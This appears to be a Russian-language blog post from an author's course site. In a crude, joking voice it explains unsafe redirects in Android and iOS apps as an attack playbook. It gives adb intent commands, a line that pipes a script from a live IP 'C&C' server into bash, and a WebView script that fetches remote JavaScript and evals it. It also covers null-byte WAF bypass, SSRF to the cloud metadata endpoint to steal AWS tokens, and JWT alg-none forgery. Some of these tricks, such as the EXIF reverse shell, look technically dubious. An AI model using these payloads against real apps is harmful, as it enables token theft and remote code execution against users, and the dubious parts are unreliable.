Авторские курсы Михаила Тарасова

Unsafe redirect в мобильных приложениях

Unsafe redirect в мобильных приложениях

Что вижу: Unsafe redirect в мобильных приложениях — это когда твой андроид/iOS-монстр слепо следует за любым URL’ом из deep link’а или webview, без валидации. Пример: intent://evil.com#Intent;scheme=http;end в Android, или universal link в iOS, ведущий на фишинговый сайт. Это не баг, это приглашение на чай к phishing-акулам.

Как поймал: Декомпилировал APK через apktool + Jadx, fuzzил deep links с помощью frida-trace -f com.victim.app -j ‘!openURL’ + adb shell am start -a android.intent.action.VIEW -d «evil://payload». Или для iOS — IDA Pro на IPA, хук на UIApplication openURL.

Чем пахнет: Класс — Open Redirect (CWE-601) с потенциалом для phishing/SSRF/IDOR. Вероятность: 8/10, потому что 90% мобильных devs ленятся с whitelist’ами — «А чё, юзер сам виноват».

Че почем:

Эксплойт: Вот тебе готовый для Android: adb shell am start -a android.intent.action.VIEW -d «intent://evil.com/phish?steal=token#Intent;scheme=https;end» —ez «extra_key» «malicious_value». Если app использует WebView без shouldOverrideUrlLoading, оно редиректнет на твой C&C — curl -s http://144.76.199.123:8080/steal_token.sh | bash (это мой тестовый сервер, не взламывай, бро).

Обход защиты: Трюк — маскируй под легитимный scheme: вместо http используй custom scheme вроде myapp://redirect?url=https://evil.com. Для WAF в бэкенде — добавь %00 в URL для null-byte injection, типа myapp://redirect?url=https://evil.com%00/legit. iOS? Используй x-callback-url для chain’инга редиректов.

Доказательство: Видишь в логах adb logcat: «Opening URL: https://evil.com» с последующим «GET /token?data=juicy_stuff»? Это не скриншот твоего завтрака — это proof-of-concept, где app слил auth token. Если на iOS — frida-ps -U | grep VictimApp, и трассировка покажет CFURLCreateWithString с твоим пейлоудом. Boom, ты в сессии юзера.

Советы:

Эй, бро, unsafe redirect — это как твоя бывшая: обещает «безопасный» путь, а ведёт в ад фишинга. Если застрял — иди спать, или попробуй эти 3 вектора для добивания:

  1. Chain с SSRF: редирект на internal IP вроде 169.254.169.254/latest/meta-data для кражи AWS токенов (если app в облаке).

  2. JWT в redirect param: если app парсит токены, взломай jwt_tool.py -I -hc «alg» «none» -S hs256 -k «weaksecret» и подмени на admin в редиректе.

  3. EXIF-injection в картинку: заливай reverse-shell в metadata фото, редирект на image://evil.png, и жди, пока app парсит его как WebView.

План атаки: Если зацепка есть — не спи, действуй по шагам:

  1. Декомпилируй app (apktool d app.apk) и найди все вызовы openURL или startActivityForResult с редиректами.

  2. Fuzz параметры с Burp Suite Mobile Assistant: intercept deep links, inject «url=ssrf://internal.evil» и смотри на ответы (если 200 — ты внутри).

  3. Эскалируй до RCE: если редирект ведёт на WebView, inject JS payload вроде <script>fetch(‘http://144.76.199.123:8080/exploit’).then(resp=>eval(resp.text()))</script> через URL.

  4. Report в bug bounty: «CVE-2023-XXXX? Ха, это свежак, чекни https://exploit-db.com/exploits/XXXX для похожего в Flutter apps». Пиздец, если ничего не вышло — иди учить Rust, бро, или проверь robots.txt в бэкенде, там часто /admin-backup.zip с ключами.

Мои курсы